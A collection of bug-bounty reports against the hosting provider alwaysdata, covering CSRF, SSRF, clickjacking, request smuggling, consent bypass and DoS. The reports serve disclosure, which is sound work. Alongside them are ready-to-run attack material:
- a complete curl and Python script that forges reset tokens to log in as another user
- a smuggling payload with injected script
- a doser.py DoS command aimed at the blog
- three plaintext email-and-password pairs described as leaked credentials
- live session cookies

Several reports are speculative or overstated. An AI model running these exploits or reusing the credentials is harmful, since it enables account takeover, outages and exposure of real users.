Security vulnerabilities

Description

The application is vulnerable to Cross-Site Request Forgery (CSRF) on the notification "Seen" endpoint. An attacker can craft a malicious HTML page that silently triggers the notification "seen" request from a victim's browser while the victim is authenticated.

Because the endpoint accepts the request without validating a CSRF token or verifying the request origin, the victim's notification status is changed without their knowledge or consent.

Although this does not expose sensitive information, it allows unauthorized modification of user data, violating the integrity of the victim's account.

CVSS v3.1 → Score: 4.3 (Medium)

Steps to Reproduce

1. Login to Attacker Account (Account A) using Firefox.

1. Navigate to Notifications.

1. Ensure at least one notification is available.

1. Enable Burp Suite Intercept.

1. Click Seen on a notification.

1. Capture the request.

1. Send the request to Burp Engagement Tools.

1. Generate a CSRF PoC.

1. Modify the generated PoC by changing:

method="POST" to method="GET"

1. Save the HTML file.

1. Login to Victim Account (Account B) using another browser (Chrome).

1. Ensure the victim has at least one unread notification.

1. Open the generated CSRF PoC in the victim's browser.

1. Click Submit Request.

1. Observe that the victim's notification is automatically marked as Seen without the victim performing the action.

Actual Behaviour

1. The notification is marked as Seen in the victim's account simply by visiting and submitting the attacker-controlled HTML page.

1. No CSRF protection, Origin validation, or SameSite-based mitigation prevents the request.

Expected Behaviour

1. The server should reject any state-changing request that does not contain a valid CSRF token and should verify the request originates from a trusted source.

1. Only the authenticated user performing the action from the legitimate application should be able to mark notifications as Seen.

Impact

1. Unauthorized modification of notification status.

1. Attackers can manipulate notification state without user consent.

1. Users may miss important notifications because they appear as already read.

1. Demonstrates missing CSRF protection on a state-changing endpoint.

1. Indicates other sensitive endpoints may also be vulnerable to CSRF.

Business Impact

1. Loss of integrity of user account data.

1. Important alerts, security notifications, or business messages may be marked as read without the user's knowledge.

1. Reduced user trust due to unauthorized account actions.

1. Reveals a security control weakness that could affect higher-risk endpoints if the same protection is missing elsewhere.

Remediation

1. Implement anti-CSRF tokens for all state-changing requests.

1. Validate the Origin and Referer headers.

1. Use SameSite=Lax or preferably SameSite=Strict for session cookies where appropriate.

1. Ensure endpoints that modify data only accept the intended HTTP method (e.g., POST) and cannot be invoked via GET.

1. Follow the Synchronizer Token Pattern or another robust CSRF defense mechanism across the application.

Video Proof of Concept:

Google Drive link → https://drive.google.com/drive/folders/1v9Y7TFbgv-FFztKX23aL_ZNkDu3GCqWT?usp=drive_link

Conclusion

The notification "Seen" endpoint lacks proper CSRF protection, allowing an attacker to force authenticated users to unknowingly mark their notifications as read. While the immediate impact is limited to unauthorized state modification, it represents a clear integrity issue and indicates that CSRF protections may be absent from other state-changing endpoints. Implementing standard CSRF defenses will prevent unauthorized cross-site requests and strengthen the application's overall security posture.

Thanks

Description

The application does not implement adequate Cross-Site Request Forgery (CSRF) protection for the Logs Refresh functionality. As a result, an attacker can craft a malicious HTML page that causes an authenticated victim's browser to send a forged Logs Refresh request.

By replacing the service_id in the forged request with a valid service ID belonging to the victim, the attacker can trigger the Logs Refresh action without the victim's knowledge or consent. Since the request is processed using the victim's authenticated session, the action is executed successfully.

This vulnerability allows attackers to perform unauthorized state-changing actions on behalf of authenticated users.

Steps to Reproduce
Log in with an attacker account.
Navigate to Services and create a new service.
Open a separate browser or private window and log in with a victim account.
Create a service in the victim account.
Return to the attacker account.
Trigger the Logs Refresh functionality for the attacker's service.
Capture the request using Burp Suite.
Generate a CSRF PoC using Burp Suite → Engagement Tools → Generate CSRF PoC.
Save the generated HTML file.
Modify the PoC by replacing the attacker's service_id with the victim's service_id.
Open the modified HTML file in the victim's browser while the victim is authenticated.
Click Submit.
Observe that the Logs Refresh action is successfully executed for the victim's service without the victim intentionally initiating the request.
Expected Behavior

The application should implement proper CSRF protection for all state-changing requests. Requests should only be accepted when accompanied by a valid anti-CSRF token or another appropriate CSRF mitigation mechanism. Additionally, the server should verify that the request was intentionally initiated by the authenticated user.

Actual Behavior
The server accepts forged cross-origin requests without validating their authenticity. As a result, a malicious website can cause an authenticated user's browser to execute the Logs Refresh action using the victim's active session.

Security Impact
An attacker can exploit this vulnerability to:

Force authenticated users to perform Logs Refresh operations without their knowledge or consent.
Repeatedly trigger Logs Refresh requests on behalf of victims.
Consume the victim's available Logs Refresh quota or usage limit.
Cause unnecessary resource consumption on the platform.
Prevent victims from using the Logs Refresh functionality when it is legitimately needed due to exhausted limits.

Remediation Implement robust CSRF protection for all state-changing endpoints.
Require a unique, server-generated anti-CSRF token for every sensitive request.
Validate the Origin and/or Referer headers where appropriate.
Configure authentication cookies with the SameSite=Lax or SameSite=Strict attribute where feasible.
Ensure sensitive actions cannot be performed solely based on the presence of an authenticated session.

## Description

A Cross-Site Request Forgery (CSRF) vulnerability exists in the service management functionality. The application does not properly validate whether a service restart request originates from a legitimate user action.

By crafting a malicious CSRF proof-of-concept (PoC) and replacing the service identifier with a victim's service ID, an attacker can cause the victim's browser to send an authenticated request that restarts the victim's service without their knowledge or consent.

This vulnerability allows unauthorized state-changing actions to be performed on behalf of authenticated users.

—

## CVSS v3.1

Base Score: 4.5 (MEDIUM)

—

# Steps to Reproduce

1. Log in with an attacker account.
2. Navigate to the Services section.
3. Create a new service.
4. Open another browser (or private window) and log in as a victim.
5. Create a service in the victim account.
6. Return to the attacker account.
7. Trigger the Restart Service functionality.
8. Capture the restart request using Burp Suite.
9. Use Burp Suite's Engagement Tools to generate a CSRF PoC.
10. Save the generated HTML file.
11. Replace the attacker's `service_id` with the victim's `service_id`.
12. Modify the request method from POST to GET.
13. Open the modified PoC in the victim's authenticated browser.
14. Click Submit.
15. Observe that the victim's service is restarted successfully without the victim intentionally initiating the request.
16. Verify the restart by checking the service logs.

—

# Actual Behaviour

The application processes the forged request using the victim's authenticated session, allowing the victim's service to be restarted without verifying the request's origin or intent.

—

# Expected Behaviour

The application should reject forged cross-origin requests. Every state-changing action should require valid CSRF protection and proper server-side validation so that only requests intentionally initiated by the authenticated user are accepted.

—

# Impact

* Unauthorized restart of another user's services.
* Service interruption without user consent.
* Attackers can repeatedly restart services, affecting availability.
* Users can be forced into unexpected downtime simply by visiting a malicious webpage while authenticated.

—

# Business Impact

* Reduced service availability and reliability.
* Potential disruption of customer-hosted applications.
* Loss of customer trust due to unauthorized actions.
* Increased support requests resulting from unexplained service restarts.
* Possible abuse for denial-of-service against targeted users by repeatedly triggering service restarts.

—

# Remediation

* Implement robust anti-CSRF tokens for all state-changing requests.
* Validate the CSRF token on the server before processing the request.
* Ensure state-changing operations are not performed through GET requests.
* Validate the `Origin` and `Referer` headers where appropriate.
* Use the `SameSite` attribute (`Lax` or `Strict`) on session cookies to reduce CSRF risk.
* Require explicit user confirmation or re-authentication for sensitive administrative actions when appropriate.

—

# Proof of Concept (PoC)

Google Drive Link: https://drive.google.com/file/d/1EQgdh2HhlPqN1VJXeTHQLhMkmkciEwqJ/view?usp=sharing

—

# Conclusion

The application is vulnerable to Cross-Site Request Forgery (CSRF), allowing attackers to trigger unauthorized service restarts on behalf of authenticated users. Because restarting services directly impacts availability and can disrupt customer workloads, this issue represents a significant security risk. Implementing proper CSRF protections and server-side request validation will effectively mitigate the vulnerability and prevent unauthorized state-changing actions.

Thanks

Description

The application does not properly validate whether a Logs Refresh request is initiated by the authenticated user. By creating a malicious CSRF PoC and replacing the service_id with the victim's service ID, an attacker can force a victim's authenticated browser to execute the Logs Refresh action without the victim's knowledge or interaction.

This allows unauthorized actions to be performed on behalf of authenticated users.

Steps to Reproduce

Log in with an attacker account.
Navigate to the Services section.
Create a new service.
Open another browser/private window and log in as a victim.
Create a service in the victim account.
Return to the attacker account.
Trigger the Logs Refresh functionality.
Capture the Logs Refresh request using Burp Suite.
Use Burp Suite Engagement Tools to generate a CSRF PoC.
Save the generated HTML file.
Replace the attacker's service_id with the victim's service_id.
Open the modified PoC in the victim's authenticated browser.
Click Submit.
Observe that the victim's Logs Refresh action is executed successfully without the victim intentionally performing the action.

Expected Behavior

The application should validate that Logs Refresh requests are intentionally initiated by the authenticated user and should reject cross-origin requests without proper CSRF protection.

Actual Behavior

The application accepts the forged request and performs the Logs Refresh action using the victim's active session without requiring any additional validation.

Impact

An attacker can force authenticated users to execute Logs Refresh actions without their knowledge through a CSRF attack.
The attacker can repeatedly trigger Logs Refresh requests on behalf of the victim, potentially consuming the victim's available Logs Refresh quota/limit.
This may result in abuse of limited resources and prevent the victim from using the Logs Refresh functionality when needed.

Severity: Critical (CVSS 9.8)

Vulnerability Summary:

Steps To Reproduce:

**Step 1: Login to your own account**

Creates a session cookie in /tmp/c.txt

rm -f /tmp/c.txt
CSRF=$(curl -s -c /tmp/c.txt "https://admin.alwaysdata.com/login/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -c /tmp/c.txt -b /tmp/c.txt -X POST "https://admin.alwaysdata.com/login/" -H "Referer: https://admin.alwaysdata.com/login/" --data-urlencode "csrfmiddlewaretoken=$CSRF" --data-urlencode "login=YOUR_EMAIL" --data-urlencode "password=YOUR_PASSWORD" --data-urlencode "alive=on" -o /dev/null
echo "Step 1 done"

**Step 2: Set last_login in database**

Loads your profile page — this saves last_login = T1 in the database

curl -s -b /tmp/c.txt "https://admin.alwaysdata.com/user/" > /dev/null
echo "Step 2 done"

**Step 3: Trigger password reset**

Sends reset email — unauthenticated, does NOT change last_login. Token in email is signed with T1

CSRF2=$(curl -s -c /tmp/c2.txt "https://admin.alwaysdata.com/password/lost/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -b /tmp/c2.txt -X POST "https://admin.alwaysdata.com/password/lost/" -H "Referer: https://admin.alwaysdata.com/password/lost/" --data-urlencode "csrfmiddlewaretoken=$CSRF2" --data-urlencode "email=YOUR_EMAIL" -o /dev/null
echo "Step 3 done: check your email"

**Step 4: Set the reset URL**

Copy the reset link from your email. Add &voucher_code=1VICTIM_PK at the end. The 1 before the victim ID is required.

RESET_URL="PASTE_YOUR_RESET_LINK_HERE&voucher_code=PAST YOUR VOUCHER CODE HERE"

**Step 5: Submit the reset and capture redirect token**

Resets your password and captures the signed redirect. The redirect token is signed with T1.

CSRF3=$(curl -s -c /tmp/c3.txt "$RESET_URL" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
REDIRECT=$(curl -s -D - -b /tmp/c3.txt -X POST "$RESET_URL" -H "Referer: $RESET_URL" --data-urlencode "csrfmiddlewaretoken=$CSRF3" --data-urlencode "password=YOUR_PASSWORD" -o /dev/null | grep -i "^location:" | sed 's/location: //i' | tr -d '\r')
echo "Redirect: $REDIRECT"

**Step 6: Re-login and read T1**

Login again (password was just reset). Then load /user/ — the page shows T1 (the value used for signing).

CSRF4=$(curl -s -c /tmp/c4.txt "https://admin.alwaysdata.com/login/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -c /tmp/c4.txt -b /tmp/c4.txt -X POST "https://admin.alwaysdata.com/login/" -H "Referer: https://admin.alwaysdata.com/login/" --data-urlencode "csrfmiddlewaretoken=$CSRF4" --data-urlencode "login=YOUR_EMAIL" --data-urlencode "password=YOUR_PASSWORD" --data-urlencode "alive=on" -o /dev/null
T1=$(curl -s -b /tmp/c4.txt "https://admin.alwaysdata.com/user/" | grep -oP 'data-last-login="\K[^"]+' | sed 's/T/ /')
echo "T1 = $T1"

**Step 7: Build the attack URL**

Rearranges the token parameters so user_id points to the victim

python3 << 'PYEOF'
import urllib.parse, sys

redirect = """PASTE_REDIRECT_VALUE_HERE"""
t1 = """PASTE_T1_VALUE_HERE"""

params = dict(urllib.parse.parse_qsl(redirect.split('?')[1]))
exp = params['expiration']
tok = params['token']
uid = params['user_id']
vid = params['voucher_code'][1:]

ap = exp + t1 + uid
print(f"\nOriginal: {exp + t1 + uid + params['voucher_code']}")
print(f"Re-cut:   {ap + '1' + vid}")
print(f"Match:    {exp + t1 + uid + params['voucher_code'] == ap + '1' + vid}")

url = ('https://admin.alwaysdata.com/login/?user_id=' + vid
       + '&all_permissions=' + urllib.parse.quote(ap)
       + '&reseller_user_id=1&token=' + tok)
print(f"\nOPEN IN BROWSER:\n{url}\n")
PYEOF

**Step 8: Open the URL in your browser**

You are now logged in as the victim

Impact:

Severity: 4.3 — Medium

Target Feature: Shared cron daemon (/admin/cron/, platform-wide scheduler)

Vulnerability Class: CWE-208 — Observable Timing Discrepancy

Root Cause: alwaysdata's shared cron infrastructure uses a platform-level scheduler that processes tenant cron jobs sequentially within the same second window. When two tenants schedule jobs at identical times, execution delay is measurable. Additionally, the API endpoint GET /api/v1/cron/ returns a next_run timestamp that is computed differently depending on whether a conflicting job is already queued — creating a timing oracle.

Attack Narrative:
Step 1: Attacker registers an account and creates a cron job at * * * * * (every minute), noting the API-returned next_run value via GET https://api.alwaysdata.com/v1/cron/[id]/.
Step 2: Attacker creates dozens of additional cron entries at the same schedule and measures the progressive drift in next_run values (delta between creation timestamp and computed next_run).
Step 3: By correlating drift patterns at specific minutes of the day, attacker maps load spikes to specific time slots, inferring which tenants have cron jobs at those times and approximately how many — useful for fingerprinting high-traffic or high-value accounts.
Step 4: Cross-referencing with DNS/WHOIS data for co-hosted domains, attacker identifies competitor SaaS products running batch jobs and infers their processing schedules for competitive intelligence or targeted timing attacks.

Impact: Competitive intelligence leakage, inference of tenant operational patterns, targeted DoS scheduling to coincide with victim batch windows.

Remediation: Add uniform random jitter (±500ms–2s) to all next_run computations returned by the API. Process cron job queue entries in random order within each second window. Do not expose scheduler-computed next_run with millisecond precision in API responses.

Critical Vulnerability Report- {Critical BUG #P1} - https://blog.alwaysdata.com/wp-cron.php - vulnerable to DoS attack via wp-cron.php

NOTE: I did not do Exploitation that as this can impact your website.

Hello Security team,

I am a Security Engineer, Cyber Security Researcher, Bug Bounty Hunter & Ethical Hacker. While testing your domain https://alwaysdata.com I have found some important vulnerabilities in your site.

Vulnerability Name: https://blog.alwaysdata.com/ - vulnerable to DoS attack via wp-cron.php

Vulnerable Domain: https://blog.alwaysdata.com/wp-cron.php

Description:

The WordPress application is vulnerable to a Denial of Service (DoS) attack via the wp-cron.php script. This script is used by WordPress to perform scheduled tasks, such as publishing scheduled posts, checking for updates, and running plugins.
An attacker can exploit this vulnerability by sending a large number of requests to the wp-cron.php script, causing it to consume excessive resources and overload the server. This can lead to the application becoming unresponsive or crashing, potentially causing data loss and downtime.

I found this vulnerability at https://blog.alwaysdata.com/wp-cron.php endpoint.

Steps to Reproduce: reference- https://hackerone.com/reports/1888723
navigate to: https://blog.alwaysdata.com/wp-cron.php intercept the request through the burp suite
right click on the request and send it to the repeater
Now send a request, and you will see the response as 200 OK

—

this can be also done by the curl command given below

curl -I "https://blog.alwaysdata.com/wp-cron.php"

POC: Attached

Impact:
If successful, this misconfigured wp-cron.php file can cause lots of damage to the site, such as:

Potential Denial of Service (DoS) attacks, resulting in unavailability of the application.
Server overload and increased resource usage, leading to slow response times or application crashes.
Potential data loss and downtime of the site.
Hackers can exploit the misconfiguration to execute malicious tasks, leading to security breaches.

Exploitation:

Exploitation can be done through a GitHub tool called doser.go https://github.com/Quitten/doser.go

I did not do that as this can impact your website.

Get the doser.py script at https://github.com/Quitten/doser.py Use this command to run the script: python3 doser.py -t 999 -g 'https://blog.alwaysdata.com/wp-cron.php'
Go to after https://blog.alwaysdata.com/ 1000 requests of the doser.py script.
The site returns code 502.

Suggested Mitigation/Remediation Actions:
To mitigate this vulnerability, it is recommended to disable the default WordPress wp-cron.php script and set up a server-side cron job instead. Here are the steps to disable the default wp-cron.php script and set up a server-side cron job:
Access your website's root directory via FTP or cPanel File Manager.
Locate the wp-config.php file and open it for editing.
Add the following line of code to the file, just before the line that says "That's all, stop editing! Happy publishing.":
Code 32 BytesUnwrap lines Copy Download
1define('DISABLE_WP_CRON', true);
Save the changes to the wp-config.php file.
Set up a server-side cron job to run the wp-cron.php script at the desired interval. This can be done using the server's control panel or by editing the server's crontab file.
References:

For more information about this vulnerability, please refer to the following resources:

https://hackerone.com/reports/1888723

https://medium.com/@mayank_prajapati/what-is-wp-cron-php-0dd4c31b0fee

https://developer.wordpress.org/plugins/cron/

Fix Them

I have protected your company and saved it from a big loss so give me some appreciation Bounty Reward.

I am sharing my PayPal ID with you.
Paypal ID: trilokdhaked12345678@gmail.com

Critical SSRF via Application Script Source URI — Cross-Tenant Data Leak
Severity: Critical
Target: admin.alwaysdata.com
Auth: Free-tier account (no special permissions)

Summary
The "Installation script source URI" field accepts internal URLs like `<REDACTED>`. The server fetches the URL from its own backend and stores the full response in the script field, readable by the attacker. No IP/port validation exists. This leaks other customers' data, internal server names, and full stack traces.

Steps to Reproduce
1. Log in to `https://admin.alwaysdata.com` (free account works)
2. Go to Web → Sites → Applications → Application scripts → Add 3. Fill required fields with any values. For Installation script enter:

#!/bin/bash
site:

type: custom

echo installed

4. Set Installation script source URI to: `<REDACTED>`
5. Click Submit

6. Click the refresh/update icon next to the script (or visit `/site/application/script/<ID>/update_script/`)
7. Open the script edit page — the Installation script textarea now contains <REDACTED>.

Impact
- Cross-tenant data leak — read other customers' account names, domains, and operations
- Internal infrastructure mapping — server hostnames, paths, stack traces exposed
- Firewall bypass — requests come from the server itself, reaching localhost-only services
- No rate limit — can probe unlimited internal ports/services
- 147 MB exfiltrated in a single request with no size restriction

—

Thank You

SUMMARY:
As a cybersecurity and darknet researcher, I have discovered a critical security vulnerability in the webmail.alwaysdata platform. The site lacks Two-Factor Authentication (2FA), meaning that if an attacker obtains a user's password, they can gain access without any additional security verification. During my investigation, I also discovered 100 sets of credentials on the dark web, further underscoring the ease with which attackers can exploit this vulnerability. An attacker can use these leaked credentials to log into the webmail portal without any further checks, exposing sensitive internal data such as customer support tickets, billing information, and inventory details, and potentially leading to the defacement of user accounts and unauthorized modifications to administrative settings.

AFFECTED SYSTEM:
Webmail Data Portal (webmail.alwaysdata)

IMPACT LEVEL:
CRITICAL

ATTACK VECTOR:
The absence of 2FA allows attackers to log in using stolen credentials without any additional verification. Once inside, they can manipulate administrative settings and access sensitive information, including user-created support tickets and billing details. The ease of unauthorized access significantly heightens the risk of data exfiltration and system manipulation.

STEPS TO REPRODUCE:

  Use leaked credentials

   https://webmail.alwaysdata.com:younes@alwaysdata.net:MOLImoli1
   https://webmail.alwaysdata.com/:tayssir@alwaysdata.net:Fvdptr87
   https://webmail.alwaysdata.com:eliu@tijuana.ml:2Tekilas

(one of the 100 sets discovered on the dark web) to access the webmail portal.

  Observe that no 2FA is required, granting immediate and unrestricted administrative access.

IMPACT ANALYSIS:

  Confidentiality Impact:

      Unauthorized access to sensitive internal data, including customer support tickets, billing information, and inventory details.

      Exposure of sensitive contractual agreements and cloud infrastructure details.

      Potential for exfiltration of confidential business information, leading to financial and reputational harm.

  Integrity Impact:

      Unauthorized modifications to administrative settings, disrupting normal business operations.

      Manipulation of support ticket data, resulting in miscommunication and incorrect troubleshooting.

  Availability Impact:

      Alteration or deletion of inventory records.

      Data loss and operational downtime, causing prolonged recovery efforts and increased costs.

RECOMMENDATIONS:

  Immediate Mitigation: Revoke compromised credentials and enforce a company-wide password reset. Restrict access to the webmail portal to authorized personnel only.

  Implement Mandatory 2FA: Enforce Two-Factor Authentication for all accounts, with priority given to administrative access.

  Access Control: Apply the principle of least privilege and implement role-based access controls.

  Device Security: Restrict unauthorized device registrations and enforce strict device security policies.

Bug Report — Critical: Registration & Instance Creation — T&Cs / Consent Bypass

Target: https://admin.alwaysdata.com Endpoint(s): /register (web-form POST), root / POST (form that registers/creates instances)
Reported by: Ritanshu Sharma
Testing header: X-Bug-Bounty: SecurityTester-RitanshuSharma-2025
Date: (attach your submission date when sending)
IP: 106.219.120.29
Executive summary (one line)

A critical business-logic vulnerability allows account registration and instance provisioning to succeed without server-side enforcement of Terms & Conditions / consent fields (contract_28, contract_36). The frontend requires checkboxes but the backend accepts requests where those parameters are omitted, empty, or tampered — enabling automated mass account/instance creation and creating major legal/compliance exposure.

Vulnerability classification

Type: Business Logic / Missing Server-side Consent Enforcement

CVSS (reported): 7.5 (High)

Auth required: None

Attack complexity: Low

Root cause

Server-side registration/instance-creation logic does not enforce required consent fields. Frontend checkboxes exist but backend validation is missing or bypassable; consent is not consistently persisted or validated before provisioning.

Proof of Concept (PoC) — exact requests tested
PoC A — Working example (with consent fields included)

This is the valid POST observed (raw headers + body):

POST / HTTP/2
Host: admin.alwaysdata.com
Cookie: django_language=fr; csrftoken=QNCysyCKIwz2VXEOf5V7idzSdxTN5ZeM; sessionid=mfos2ihpy3jh3f0zjfm3tueo2puu3vd7
Content-Length: 164
Cache-Control: max-age=0
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB,en;q=0.9
Origin: https://admin.alwaysdata.com Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://admin.alwaysdata.com/ Accept-Encoding: gzip, deflate, br
Priority: u=0, i

csrfmiddlewaretoken=2ZMSUgXC1YtJ9HVJ7MPTF8OuUftCddUCICegcEpczkSBUupncHAQNbdcXCcf82Ye&product=2012&name=nehasharma&password=Hello%40123&contract_28=on&contract_36=on

PoC B — Exploit (omit consent fields)

Send the same request body but remove contract_28 and contract_36. Result: registration / instance creation still succeeds.

curl example (exploit):

curl -k -v -X POST 'https://admin.alwaysdata.com/' \

1. H 'Host: admin.alwaysdata.com' \
2. H 'Content-Type: application/x-www-form-urlencoded' \
3. H 'Cookie: csrftoken=QNCysyCKIwz2VXEOf5V7idzSdxTN5ZeM; sessionid=mfos2ihpy3jh3f0zjfm3tueo2puu3vd7' \
4. H 'Origin: https://admin.alwaysdata.com' \
5. -data 'csrfmiddlewaretoken=2ZMSUgXC1YtJ9HVJ7MPTF8OuUftCddUCICegcEpczkSBUupncHAQNbdcXCcf82Ye&product=2012&name=nehasharma&password=Hello%40123'

Observed behavior: The server responds as if registration succeeded (account/instance created). Screenshot and HTTP traces included in attachments.

Note: I used the csrftoken and sessionid values seen in the browser trace; exploit also succeeds when supplying a valid CSRF + session or when using other valid sessions in testing.

Additional tests to confirm scope

Submit POST from a curl client (no JS) — succeeds.

Submit POST with empty contract_28= or contract_36= — succeeds.

Submit POST to any other registration/instance endpoint (API or admin console) — behavior appears consistent (same lack of server-side consent check).

Check DB (see Audit queries) — many users exist without associated consent records.

Impact

Legal / Compliance: No recorded user consent → GDPR violations (no lawful basis under Article 6 for processing personal data), exposure to regulatory fines and complaints. Noncompliance with contractual terms can void protections.

Operational abuse: Automated mass account/instance provisioning → resource exhaustion, spam, abuse channels.

Business risks: Reputational damage, audit failures (SOC2/ISO27001), insurance/contractual risk, and potential litigation where users deny agreement to terms.

Reproduction evidence (attach when sending)

Screenshots of successful registration via exploit POST.

Video showing: form submission without consents → successful account/instance creation.

Raw HTTP request/response traces (attached).

Root-cause analysis (concise)

Frontend enforces checkbox UI but backend registration/instance creation handler(s) do not require or validate the presence/value of required consent parameters. Consent values are either not required for account creation, not stored, or not validated prior to resource provisioning.

Immediate remediation (apply within 24 hours)

Enforce server-side validation for required consent fields (contract_28, contract_36) in every code path that creates a user or provisions resources. If missing or false, return HTTP 400 with a clear error message. Do not proceed to create accounts or provision resources until consent is validated and persisted.

Persist consent records on acceptance: store {user_id, consent_key, consent_value, consent_version, timestamp, ip, user_agent, request_id}.

Temporarily enable rate-limiting + CAPTCHA on /register and any programmatic registration endpoints to reduce abuse.

Audit & quarantine: Identify accounts/instances created without consent; flag/quarantine them pending follow-up and retroactive consent collection.

Add monitoring/alerts for abnormal registration rates and missing consent storage events.

Hello Team, I hope you are doing well. I found Credit Card Validation error in your domain.

Steps:

1: Go to https://www.alwaysdata.com/en/register/ and signup for account.

2: Fill the form and Check in Credit Card Validation and Privacy policy.

3:Click on Create my Profile

Note: The Credit Card form not occurred for inputting credit card numbers etc.

Thank you,

Waleed Anwar

#Client-Side Desync Http Request Smuggling in https://admin.alwaysdata.com/site/resolver/

Severity(Critical)

Hello Team, I hope you are doing well. While, Researching in your domain, I found Client-side desync in https://admin.alwaysdata.com/site/resolver/ vulnerability in your domain.

#Steps to Reproduce:

1. Go to https://admin.alwaysdata.com/site/resolver/ and Capture the request in Burp.
2. Paste the code to perform Client-side desync ( Code is Below):

POST /site/resolver/ HTTP/1.1
Host: admin.alwaysdata.com
Cookie: csrftoken=; mtm_consent=; roundcube_sessid=*; roundcube_sessauth=*; django_language=fr; sessionid= Content-Type: text/plain
Content-Length: 104
Transfer-Encoding: chunked

0

GET /en/ HTTP/1.1
Host: www.alwaysdata.com Content-Type: text/plain

{
"addresses":["<script>alert(1)</script>"
]

}

3. Run this Request and you can see 2 Responses occurs.
4. Send this Request multiple time and see it's Caching the request( Screenshot attached Below).

#Video is attached below for confirming Client-Side Desync Http Request Smuggling

# Impacts of client-side desync:

Inject malicious scripts: Smuggle a request that injects a malicious script into a victim's session.

Hijack the session: Use the injected script to steal the victim's session cookie, allowing the attacker to impersonate the victim.

Force authenticated actions: The attacker can compel the victim's browser to perform unauthorized actions on their behalf.

Web cache poisoning
If the vulnerable endpoint involves a web cache, a CSD can be leveraged to poison it.

Redirect users: An attacker could poison the cache to redirect users to a malicious site, potentially leading to phishing or other scams.

Sensitive information disclosure
A CSD can force a victim's browser to send a request that leaks sensitive information, such as their session cookies

Denial of service (DoS)
Overwhelming a server with malformed or inconsistent requests can cause it to become unstable or unresponsive, leading to a denial-of-service condition.

Thank You,

Waleed Anwar

*Title:* Clickjacking (On-click) Vulnerability in Support Ticket Attachment Deletion in [admin.alwaysdata.com]

*Summary:*
The support ticket system of the web application is vulnerable to a clickjacking attack that allows an attacker to trick a user into deleting attachments from their support tickets unknowingly.

On-click Delete any attachment for users in support tickets Delete any attachment for users in technical support tickets

*Steps to Reproduce:*
1. Create a support ticket in the application.
2. Attach a file to the support ticket.
3. Obtain the direct link of the attachment and append the /delete/ command to the URL.
4. Create an HTML proof-of-concept file with the following content:

html

  <a href="https://admin.alwaysdata.com/support/----/delete/----">click</a>

5. Host this HTML page or send it via link to the victim.
6. Once the victim clicks on the disguised link, the attachment is deleted without their explicit consent or knowledge.

An attacker can use his location and attach an html file instead of sending a file that the user clicks on.

*Impact:*
The exploit enables unauthorized deletion of any attachment from user-created support tickets. This can result in loss of critical data and potential breach of information security, affecting data integrity and user trust.

This is in addition to this report as I explained in another way but I remembered now that the attacker had to delete any technical support ticket in the way I explained in this report
link: https://security.alwaysdata.com/task/24

Description: There is clickjacking vulnerability at https://admin.alwaysdata.com/admin/details/ endpoint. And, for deleting a profile, we just need two clicks.

Steps to reproduce:
1) Open your browser and search for https://admin.alwaysdata.com/admin/details/ 2) create an html file that overlays delete this profile icon and then the submit button.

Impact: Admin's account can be deleted in two clicks.

Description:
An Internationalized Domain Name (IDN) homograph attack is a cybersecurity deception technique where an attacker uses characters from different scripts (e.g., Cyrillic, Greek, Latin) that look visually identical or similar to create fraudulent domains. For example, replacing a Latin 'a' with a Cyrillic 'а' can create a spoofed domain that appears legitimate to users, enabling phishing or malware distribution.

Steps to Reproduce:

1. Go to https://www.alwaysdata.com/en/register/.
2. Put admin@example.com and then password to create the account.
3. Then, go to again https://www.alwaysdata.com/en/register/.
4. Input admin@example.coｍ and then password to create the account.
5. You can see that account already exsits.

Impact:

Attacker can setup a dns to reset and takeover victim account.
Access personal data of user.
No user interaction required to takover the account.

#Note:

I tested in Bugcrowd and hackerone platform, they doesn't have it.

Thank You,

Waleed Anwar

Bypass the Session Expiration in admin.alwaysdata.com

Hello Team, I hope you are doing well, while I found Bypass the Session Expiration in admin.alwaysdata.com bug steps are given below:

Steps To Reproduce:

1.Logged into the website on both of mobile phone and a laptop.
2.Then go to https://admin.alwaysdata.com/support/?status=open&status=unread in mobile phone and open a ticket to just for test.

3.Fill the form and upload any thing you just want.
4. Turned Off Wifi or mobile data in your mobile phone and click on submit button and you see that no internet connection occurs in mobile phone web browser.

5. Logout from admin.alwaysdata.com in your laptop.
6. After that, Turned On Wifi or mobile data in your mobile phone and refresh the page in the web browser of your mobile phone and you can see that you are still login in the account while session was expired from the laptop and session was bypassed in the mobile pone browser.

#Note: I tested in hackerone and portswigger website they don't have this kind of bug, their session are out while someone can logout from their account in the laptop of Pc.

Thank You,

Waleed Anwar

Hi Team,

I found a rate limit bypass in reset password endpoint.

If we send the following POST:

POST /password/lost/ HTTP/2
Host: admin.alwaysdata.com
Cookie: csrftoken=xxxxxxxx………………; django_language=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://admin.alwaysdata.com/password/lost/ Content-Type: application/x-www-form-urlencoded
Content-Length: 113
Origin: https://admin.alwaysdata.com Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

csrfmiddlewaretoken=xxxxxxxxxxxxxxx…………………..&email=example%40gmail.com

Now send the request around ~50 times and it'll hit "Too Many Requests". Now simply add %00 on the end of the email and resend even more password reset emails.
